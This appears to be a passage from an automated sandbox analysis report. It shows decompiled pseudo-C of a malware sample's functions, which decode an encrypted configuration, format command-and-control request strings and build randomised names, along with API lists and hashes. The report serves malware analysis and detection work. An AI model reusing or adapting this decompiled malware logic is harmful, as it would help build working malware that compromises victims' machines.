				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t116;
				void* _t119;
				intOrPtr _t122;

				_t119 = __esi;
				_t116 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0x4d5a344; // 0x43175ac3
				if(E04D510F8( &_v8,  &_v12, _t28 ^ 0xa23f04a7) != 0 && _v12 >= 0x110) {
					 *0x4d5a374 = _v8;
				}
				_t33 =  *0x4d5a344; // 0x43175ac3
				if(E04D510F8( &_v16,  &_v12, _t33 ^ 0x2bfce340) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0x4d5a344; // 0x43175ac3
				_push(_t116);
				if(E04D510F8( &_v12,  &_v8, _t39 ^ 0xcca68722) == 0) {
					L67:
					HeapFree( *0x4d5a2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0x4d5a344; // 0x43175ac3
						_t45 = E04D536C5(_t104, _t102, _t98 ^ 0x523046bc);
					}
					_push(_t119);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x4d5a2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0x4d5a344; // 0x43175ac3
						_t46 = E04D536C5(_t104, _t102, _t94 ^ 0x0b3e0d40);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x4d5a2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0x4d5a344; // 0x43175ac3
						_t47 = E04D536C5(_t104, _t102, _t90 ^ 0x1b5903e6);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x4d5a2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0x4d5a344; // 0x43175ac3
						_t48 = E04D536C5(_t104, _t102, _t86 ^ 0x267c2349);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0x4d5a004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0x4d5a344; // 0x43175ac3
						_t49 = E04D536C5(_t104, _t102, _t82 ^ 0x167db74c);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0x4d5a02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0x4d5a344; // 0x43175ac3
						_t50 = E04D536C5(_t104, _t102, _t78 ^ 0x02ddbcae);
					}
					if(_t50 == 0) {
						L41:
						 *0x4d5a2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0x4d5a344; // 0x43175ac3
								_t51 = E04D536C5(_t104, _t102, _t75 ^ 0x0cbf33fd);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E04D55B85(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E04D5607C();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0x4d5a344; // 0x43175ac3
								_t52 = E04D536C5(_t104, _t102, _t70 ^ 0x93710135);
							}
							if(_t52 != 0 && E04D55B85(0, _t52) != 0) {
								_t122 =  *0x4d5a3cc; // 0x5c79600
								E04D55364(_t122 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0x4d5a344; // 0x43175ac3
								_t53 = E04D536C5(_t104, _t102, _t65 ^ 0x175474b7);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0x4d5a348; // 0xf1d5a8
								_t22 = _t54 + 0x4d5b5f3; // 0x616d692f
								 *0x4d5a370 = _t22;
								goto L60;
							} else {
								_t64 = E04D55B85(0, _t53);
								 *0x4d5a370 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0x4d5a344; // 0x43175ac3
										_t56 = E04D536C5(_t104, _t102, _t61 ^ 0xf8a29dde);
									}
									if(_t56 == 0) {
										_t57 =  *0x4d5a348; // 0xf1d5a8
										_t23 = _t57 + 0x4d5b899; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E04D55B85(0, _t56);
									}
									 *0x4d5a3e0 = _t58;
									HeapFree( *0x4d5a2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}








































                  0x04d51d8a
                  0x04d51d8a
                  0x04d51d8a
                  0x04d51d8a
                  0x04d51d8d
                  0x04d51daa
                  0x04d51db8
                  0x04d51db8
                  0x04d51dbd
                  0x04d51dd7
                  0x04d52045
                  0x04d5204c
                  0x04d52050
                  0x04d52050
                  0x04d51ddd
                  0x04d51de2
                  0x04d51dfa
                  0x04d52032
                  0x04d5203c
                  0x00000000
                  0x04d51e00
                  0x04d51e00
                  0x04d51e01
                  0x04d51e06
                  0x04d51e1c
                  0x04d51e08
                  0x04d51e08
                  0x04d51e15
                  0x04d51e15
                  0x04d51e1e
                  0x04d51e27
                  0x04d51e29
                  0x04d51e33
                  0x04d51e38
                  0x04d51e38
                  0x04d51e33
                  0x04d51e3f
                  0x04d51e55
                  0x04d51e41
                  0x04d51e41
                  0x04d51e4e
                  0x04d51e4e
                  0x04d51e59
                  0x04d51e5b
                  0x04d51e65
                  0x04d51e6a
                  0x04d51e6a
                  0x04d51e65
                  0x04d51e71
                  0x04d51e87
                  0x04d51e73
                  0x04d51e73
                  0x04d51e80
                  0x04d51e80
                  0x04d51e8b
                  0x04d51e8d
                  0x04d51e97
                  0x04d51e9c
                  0x04d51e9c
                  0x04d51e97
                  0x04d51ea3
                  0x04d51eb9
                  0x04d51ea5
                  0x04d51ea5
                  0x04d51eb2
                  0x04d51eb2
                  0x04d51ebd
                  0x04d51ebf
                  0x04d51ec9
                  0x04d51ece
                  0x04d51ece
                  0x04d51ec9
                  0x04d51ed5
                  0x04d51eeb
                  0x04d51ed7
                  0x04d51ed7
                  0x04d51ee4
                  0x04d51ee4
                  0x04d51eef
                  0x04d51ef1
                  0x04d51efb
                  0x04d51f00
                  0x04d51f00
                  0x04d51efb
                  0x04d51f07
                  0x04d51f1d
                  0x04d51f09
                  0x04d51f09
                  0x04d51f16
                  0x04d51f16
                  0x04d51f21
                  0x04d51f34
                  0x04d51f34
                  0x00000000
                  0x04d51f23
                  0x04d51f23
                  0x04d51f2d
                  0x00000000
                  0x04d51f3e
                  0x04d51f3e
                  0x04d51f40
                  0x04d51f56
                  0x04d51f42
                  0x04d51f42
                  0x04d51f4f
                  0x04d51f4f
                  0x04d51f5a
                  0x04d51f5c
                  0x04d51f5f
                  0x04d51f60
                  0x04d51f67
                  0x04d51f69
                  0x04d51f6a
                  0x04d51f6a
                  0x04d51f67
                  0x04d51f71
                  0x04d51f87
                  0x04d51f73
                  0x04d51f73
                  0x04d51f80
                  0x04d51f80
                  0x04d51f8b
                  0x04d51f99
                  0x04d51fa3
                  0x04d51fa3
                  0x04d51fab
                  0x04d51fc1
                  0x04d51fad
                  0x04d51fad
                  0x04d51fba
                  0x04d51fba
                  0x04d51fc5
                  0x04d51fd8
                  0x04d51fd8
                  0x04d51fdd
                  0x04d51fe3
                  0x00000000
                  0x04d51fc7
                  0x04d51fca
                  0x04d51fcf
                  0x04d51fd6
                  0x04d51fe8
                  0x04d51fea
                  0x04d52000
                  0x04d51fec
                  0x04d51fec
                  0x04d51ff9
                  0x04d51ff9
                  0x04d52004
                  0x04d52010
                  0x04d52015
                  0x04d52015
                  0x04d52006
                  0x04d52009
                  0x04d52009
                  0x04d52023
                  0x04d52028
                  0x04d5202e
                  0x00000000
                  0x04d52031
                  0x00000000
                  0x04d51fd6
                  0x04d51fc5
                  0x04d51f2d
                  0x04d51f21

                  APIs
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04D5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04D51E2F
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04D5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04D51E61
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04D5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04D51E93
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04D5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04D51EC5
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04D5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04D51EF7
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04D5A00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04D51F29
                  • HeapFree.KERNEL32(00000000,?,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 04D52028
                  • HeapFree.KERNEL32(00000000,?,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 04D5203C
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: 213097767ead994e3f8f27b3c144fb8a6f113f6a0912f8c84c1fb2f47cd598e6
                  • Instruction ID: c2ffb71365d62e7b67d6fab44100afe972c4c341449f3f8bb63862e659397097
                  • Opcode Fuzzy Hash: 213097767ead994e3f8f27b3c144fb8a6f113f6a0912f8c84c1fb2f47cd598e6
                  • Instruction Fuzzy Hash: 53817E71F00215ABDF10EBB89D98E5F76ADEB487447640A6AAD01D7324FE39FD448B20
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D52B91 Relevance: 37.8, APIs: 25, Instructions: 278memorystringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 76%
                  			E04D52B91(long __eax, intOrPtr _a4, void* _a8, void* _a16, void* _a20, void* _a24, intOrPtr _a32, void* _a40, intOrPtr _a44) {
				intOrPtr _v4;
				signed int _v8;
				int* _v12;
				char* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				void* __ebx;
				void* __edi;
				long _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t76;
				intOrPtr _t77;
				int _t80;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t87;
				void* _t89;
				void* _t92;
				intOrPtr _t96;
				intOrPtr _t100;
				intOrPtr* _t102;
				int* _t108;
				int* _t118;
				char** _t120;
				char* _t121;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t130;
				intOrPtr* _t132;
				intOrPtr _t135;
				intOrPtr _t139;
				int _t142;
				intOrPtr _t144;
				int _t147;
				intOrPtr _t148;
				int _t151;
				void* _t152;
				intOrPtr _t166;
				void* _t168;
				int _t169;
				void* _t170;
				void* _t171;
				long _t172;
				intOrPtr* _t173;
				intOrPtr* _t174;
				intOrPtr _t175;
				intOrPtr* _t178;
				char** _t181;
				char** _t183;
				char** _t184;
				void* _t189;

				_t68 = __eax;
				_t181 =  &_v16;
				_t152 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t68 = GetTickCount();
				}
				_t69 =  *0x4d5a018; // 0xffd58d38
				asm("bswap eax");
				_t70 =  *0x4d5a014; // 0x3a87c8cd
				asm("bswap eax");
				_t71 =  *0x4d5a010; // 0xd8d2f808
				asm("bswap eax");
				_t72 =  *0x4d5a00c; // 0xeec43f25
				asm("bswap eax");
				_t73 =  *0x4d5a348; // 0xf1d5a8
				_t3 = _t73 + 0x4d5b5ac; // 0x74666f73
				_t169 = wsprintfA(_t152, _t3, 3, 0x3d18f, _t72, _t71, _t70, _t69,  *0x4d5a02c,  *0x4d5a004, _t68);
				_t76 = E04D5467F();
				_t77 =  *0x4d5a348; // 0xf1d5a8
				_t4 = _t77 + 0x4d5b575; // 0x74707526
				_t80 = wsprintfA(_t169 + _t152, _t4, _t76);
				_t183 =  &(_t181[0xe]);
				_t170 = _t169 + _t80;
				if(_a24 != 0) {
					_t148 =  *0x4d5a348; // 0xf1d5a8
					_t8 = _t148 + 0x4d5b508; // 0x732526
					_t151 = wsprintfA(_t170 + _t152, _t8, _a24);
					_t183 =  &(_t183[3]);
					_t170 = _t170 + _t151;
				}
				_t81 =  *0x4d5a348; // 0xf1d5a8
				_t10 = _t81 + 0x4d5b89e; // 0x5c78e46
				_t153 = _t10;
				_t189 = _a20 - _t10;
				_t12 = _t81 + 0x4d5b246; // 0x74636126
				_t164 = 0 | _t189 == 0x00000000;
				_t171 = _t170 + wsprintfA(_t170 + _t152, _t12, _t189 == 0);
				_t85 =  *0x4d5a36c; // 0x5c795b0
				_t184 =  &(_t183[3]);
				if(_t85 != 0) {
					_t144 =  *0x4d5a348; // 0xf1d5a8
					_t16 = _t144 + 0x4d5b8be; // 0x3d736f26
					_t147 = wsprintfA(_t171 + _t152, _t16, _t85);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t147;
				}
				_t86 = E04D5472F(_t153);
				_a32 = _t86;
				if(_t86 != 0) {
					_t139 =  *0x4d5a348; // 0xf1d5a8
					_t19 = _t139 + 0x4d5b8d0; // 0x736e6426
					_t142 = wsprintfA(_t171 + _t152, _t19, _t86);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t142;
					HeapFree( *0x4d5a2d8, 0, _a40);
				}
				_t87 = E04D51340();
				_a32 = _t87;
				if(_t87 != 0) {
					_t135 =  *0x4d5a348; // 0xf1d5a8
					_t23 = _t135 + 0x4d5b8c5; // 0x6f687726
					wsprintfA(_t171 + _t152, _t23, _t87);
					_t184 =  &(_t184[3]);
					HeapFree( *0x4d5a2d8, 0, _a40);
				}
				_t166 =  *0x4d5a3cc; // 0x5c79600
				_t89 = E04D56B59( &E04D5A00A, _t166 + 4);
				_t172 = 0;
				_a16 = _t89;
				if(_t89 == 0) {
					L30:
					HeapFree( *0x4d5a2d8, _t172, _t152);
					return _a44;
				} else {
					_t92 = RtlAllocateHeap( *0x4d5a2d8, 0, 0x800);
					_a24 = _t92;
					if(_t92 == 0) {
						L29:
						HeapFree( *0x4d5a2d8, _t172, _a8);
						goto L30;
					}
					E04D52915(GetTickCount());
					_t96 =  *0x4d5a3cc; // 0x5c79600
					__imp__(_t96 + 0x40);
					asm("lock xadd [eax], ecx");
					_t100 =  *0x4d5a3cc; // 0x5c79600
					__imp__(_t100 + 0x40);
					_t102 =  *0x4d5a3cc; // 0x5c79600
					_t168 = E04D56675(1, _t164, _t152,  *_t102);
					asm("lock xadd [eax], ecx");
					if(_t168 == 0) {
						L28:
						HeapFree( *0x4d5a2d8, _t172, _a16);
						goto L29;
					}
					StrTrimA(_t168, 0x4d59280);
					_push(_t168);
					_t108 = E04D57563();
					_v12 = _t108;
					if(_t108 == 0) {
						L27:
						HeapFree( *0x4d5a2d8, _t172, _t168);
						goto L28;
					}
					_t173 = __imp__;
					 *_t173(_t168, _a8);
					 *_t173(_a4, _v12);
					_t174 = __imp__;
					 *_t174(_v4, _v24);
					_t175 = E04D56536( *_t174(_v12, _t168), _v20);
					_v36 = _t175;
					if(_t175 == 0) {
						_v8 = 8;
						L25:
						E04D563F6();
						L26:
						HeapFree( *0x4d5a2d8, 0, _v40);
						_t172 = 0;
						goto L27;
					}
					_t118 = E04D56F7D(_t152, 0xffffffffffffffff, _t168,  &_v24);
					_v12 = _t118;
					if(_t118 == 0) {
						_t178 = _v24;
						_v20 = E04D5597D(_t178, _t175, _v16, _v12);
						_t126 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t126 + 0x80))(_t126);
						_t128 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
						_t130 =  *((intOrPtr*)(_t178 + 4));
						 *((intOrPtr*)( *_t130 + 8))(_t130);
						_t132 =  *_t178;
						 *((intOrPtr*)( *_t132 + 8))(_t132);
						E04D561DA(_t178);
					}
					if(_v8 != 0x10d2) {
						L20:
						if(_v8 == 0) {
							_t120 = _v16;
							if(_t120 != 0) {
								_t121 =  *_t120;
								_t176 =  *_v12;
								_v16 = _t121;
								wcstombs(_t121, _t121,  *_v12);
								 *_v24 = E04D5673A(_v16, _v16, _t176 >> 1);
							}
						}
						goto L23;
					} else {
						if(_v16 != 0) {
							L23:
							E04D561DA(_v32);
							if(_v12 == 0 || _v8 == 0x10d2) {
								goto L26;
							} else {
								goto L25;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L20;
					}
				}
			}






























































                  0x04d52b91
                  0x04d52b91
                  0x04d52b95
                  0x04d52b9c
                  0x04d52ba6
                  0x04d52ba8
                  0x04d52ba8
                  0x04d52bb5
                  0x04d52bc0
                  0x04d52bc3
                  0x04d52bce
                  0x04d52bd1
                  0x04d52bd6
                  0x04d52bd9
                  0x04d52bde
                  0x04d52be1
                  0x04d52bed
                  0x04d52bfa
                  0x04d52bfc
                  0x04d52c02
                  0x04d52c07
                  0x04d52c12
                  0x04d52c14
                  0x04d52c17
                  0x04d52c1e
                  0x04d52c20
                  0x04d52c29
                  0x04d52c34
                  0x04d52c36
                  0x04d52c39
                  0x04d52c39
                  0x04d52c3b
                  0x04d52c40
                  0x04d52c40
                  0x04d52c48
                  0x04d52c4c
                  0x04d52c52
                  0x04d52c5d
                  0x04d52c5f
                  0x04d52c64
                  0x04d52c69
                  0x04d52c6c
                  0x04d52c71
                  0x04d52c7c
                  0x04d52c7e
                  0x04d52c81
                  0x04d52c81
                  0x04d52c83
                  0x04d52c8e
                  0x04d52c94
                  0x04d52c97
                  0x04d52c9c
                  0x04d52ca7
                  0x04d52ca9
                  0x04d52cb0
                  0x04d52cba
                  0x04d52cba
                  0x04d52cbc
                  0x04d52cc1
                  0x04d52cc7
                  0x04d52cca
                  0x04d52ccf
                  0x04d52cd9
                  0x04d52cdb
                  0x04d52cea
                  0x04d52cea
                  0x04d52cec
                  0x04d52cfa
                  0x04d52cff
                  0x04d52d01
                  0x04d52d07
                  0x04d52ee7
                  0x04d52eef
                  0x04d52efc
                  0x04d52d0d
                  0x04d52d19
                  0x04d52d1f
                  0x04d52d25
                  0x04d52eda
                  0x04d52ee5
                  0x00000000
                  0x04d52ee5
                  0x04d52d31
                  0x04d52d36
                  0x04d52d3f
                  0x04d52d50
                  0x04d52d54
                  0x04d52d5d
                  0x04d52d63
                  0x04d52d70
                  0x04d52d7d
                  0x04d52d83
                  0x04d52ecd
                  0x04d52ed8
                  0x00000000
                  0x04d52ed8
                  0x04d52d8f
                  0x04d52d95
                  0x04d52d96
                  0x04d52d9b
                  0x04d52da1
                  0x04d52ec3
                  0x04d52ecb
                  0x00000000
                  0x04d52ecb
                  0x04d52dab
                  0x04d52db2
                  0x04d52dbc
                  0x04d52dc2
                  0x04d52dcc
                  0x04d52dde
                  0x04d52de0
                  0x04d52de6
                  0x04d52eff
                  0x04d52eae
                  0x04d52eae
                  0x04d52eb3
                  0x04d52ebf
                  0x04d52ec1
                  0x00000000
                  0x04d52ec1
                  0x04d52df1
                  0x04d52df6
                  0x04d52dfc
                  0x04d52e07
                  0x04d52e12
                  0x04d52e16
                  0x04d52e1c
                  0x04d52e22
                  0x04d52e28
                  0x04d52e2b
                  0x04d52e31
                  0x04d52e34
                  0x04d52e39
                  0x04d52e3d
                  0x04d52e3d
                  0x04d52e4a
                  0x04d52e58
                  0x04d52e5d
                  0x04d52e5f
                  0x04d52e65
                  0x04d52e6b
                  0x04d52e6d
                  0x04d52e72
                  0x04d52e76
                  0x04d52e92
                  0x04d52e92
                  0x04d52e65
                  0x00000000
                  0x04d52e4c
                  0x04d52e51
                  0x04d52e94
                  0x04d52e98
                  0x04d52ea2
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d52ea2
                  0x04d52e53
                  0x00000000
                  0x04d52e53
                  0x04d52e4a

                  APIs
                  • GetTickCount.KERNEL32 ref: 04D52BA8
                  • wsprintfA.USER32 ref: 04D52BF5
                  • wsprintfA.USER32 ref: 04D52C12
                  • wsprintfA.USER32 ref: 04D52C34
                  • wsprintfA.USER32 ref: 04D52C5B
                  • wsprintfA.USER32 ref: 04D52C7C
                  • wsprintfA.USER32 ref: 04D52CA7
                  • HeapFree.KERNEL32(00000000,?), ref: 04D52CBA
                  • wsprintfA.USER32 ref: 04D52CD9
                  • HeapFree.KERNEL32(00000000,?), ref: 04D52CEA
                    • Part of subcall function 04D56B59: RtlEnterCriticalSection.NTDLL(05C795C0), ref: 04D56B75
                    • Part of subcall function 04D56B59: RtlLeaveCriticalSection.NTDLL(05C795C0), ref: 04D56B93
                  • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04D52D19
                  • GetTickCount.KERNEL32 ref: 04D52D2B
                  • RtlEnterCriticalSection.NTDLL(05C795C0), ref: 04D52D3F
                  • RtlLeaveCriticalSection.NTDLL(05C795C0), ref: 04D52D5D
                    • Part of subcall function 04D56675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D566A0
                    • Part of subcall function 04D56675: lstrlen.KERNEL32(00000000,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D566A8
                    • Part of subcall function 04D56675: strcpy.NTDLL ref: 04D566BF
                    • Part of subcall function 04D56675: lstrcat.KERNEL32(00000000,00000000), ref: 04D566CA
                    • Part of subcall function 04D56675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,04D53ECE,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D566E7
                  • StrTrimA.SHLWAPI(00000000,04D59280,?,05C79600), ref: 04D52D8F
                    • Part of subcall function 04D57563: lstrlen.KERNEL32(05C79BD0,00000000,00000000,00000000,04D53EF9,00000000), ref: 04D57573
                    • Part of subcall function 04D57563: lstrlen.KERNEL32(?), ref: 04D5757B
                    • Part of subcall function 04D57563: lstrcpy.KERNEL32(00000000,05C79BD0), ref: 04D5758F
                    • Part of subcall function 04D57563: lstrcat.KERNEL32(00000000,?), ref: 04D5759A
                  • lstrcpy.KERNEL32(00000000,?), ref: 04D52DB2
                  • lstrcpy.KERNEL32(?,?), ref: 04D52DBC
                  • lstrcat.KERNEL32(?,?), ref: 04D52DCC
                  • lstrcat.KERNEL32(?,00000000), ref: 04D52DD3
                    • Part of subcall function 04D56536: lstrlen.KERNEL32(?,00000000,05C79DD8,00000000,04D56F0A,05C79FFB,43175AC3,?,?,?,?,43175AC3,00000005,04D5A00C,4D283A53,?), ref: 04D5653D
                    • Part of subcall function 04D56536: mbstowcs.NTDLL ref: 04D56566
                    • Part of subcall function 04D56536: memset.NTDLL ref: 04D56578
                  • wcstombs.NTDLL ref: 04D52E76
                    • Part of subcall function 04D5597D: SysAllocString.OLEAUT32(?), ref: 04D559B8
                    • Part of subcall function 04D561DA: RtlFreeHeap.NTDLL(00000000,00000000,04D56383,00000000,?,00000000,00000000), ref: 04D561E6
                  • HeapFree.KERNEL32(00000000,?), ref: 04D52EBF
                  • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04D52ECB
                  • HeapFree.KERNEL32(00000000,?,?,05C79600), ref: 04D52ED8
                  • HeapFree.KERNEL32(00000000,?), ref: 04D52EE5
                  • HeapFree.KERNEL32(00000000,?), ref: 04D52EEF
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Heap$Free$wsprintf$lstrlen$CriticalSectionlstrcat$lstrcpy$CountEnterLeaveTickTrim$AllocAllocateStringmbstowcsmemsetstrcpywcstombs
                  • String ID:
                  • API String ID: 1185349883-0
                  • Opcode ID: a304caefe8610e91a936c87351eab8d96602c215887073ac108dcfb7f85891ac
                  • Instruction ID: 6692331fe107b205747e95262392c5b92d36d64e42db85ffb3a99fbfa6813296
                  • Opcode Fuzzy Hash: a304caefe8610e91a936c87351eab8d96602c215887073ac108dcfb7f85891ac
                  • Instruction Fuzzy Hash: 87A15771601320AFDB11AB68DC58E5A7BE8FF48758F054A69F848D7320DE35EC49CB61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D57238 Relevance: 13.6, APIs: 9, Instructions: 145stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 43%
                  			E04D57238(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				intOrPtr _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				intOrPtr* _t102;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				intOrPtr _t125;

				_t58 =  *0x4d5a3dc; // 0x5c79c80
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E04D56ABD();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E04D56ABD();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E04D542E9(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E04D542E9(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E04D5398D(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0x4d5918c;
						}
						_t70 = E04D55FA1(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E04D533DC(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0x4d5a348; // 0xf1d5a8
								_t102 =  *0x4d5a138; // 0x4d57ddd
								_t28 = _t105 + 0x4d5bd10; // 0x530025
								 *_t102(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E04D5398D(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0x4d59190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E04D533DC(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E04D561DA(_v24);
								} else {
									_t92 =  *0x4d5a348; // 0xf1d5a8
									_t44 = _t92 + 0x4d5ba20; // 0x73006d
									 *_t102(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E04D561DA(_v8);
						}
						E04D561DA(_v12);
					}
					E04D561DA(_v16);
				}
				return _v28;
			}



































                  0x04d5723e
                  0x04d57246
                  0x04d57249
                  0x04d57256
                  0x04d57259
                  0x04d57260
                  0x04d57267
                  0x04d5726a
                  0x04d57277
                  0x04d5727a
                  0x04d5727d
                  0x04d57282
                  0x04d57287
                  0x04d5728f
                  0x04d57294
                  0x04d57299
                  0x04d5729f
                  0x04d572a3
                  0x04d572ac
                  0x04d572b0
                  0x04d572b2
                  0x04d572b2
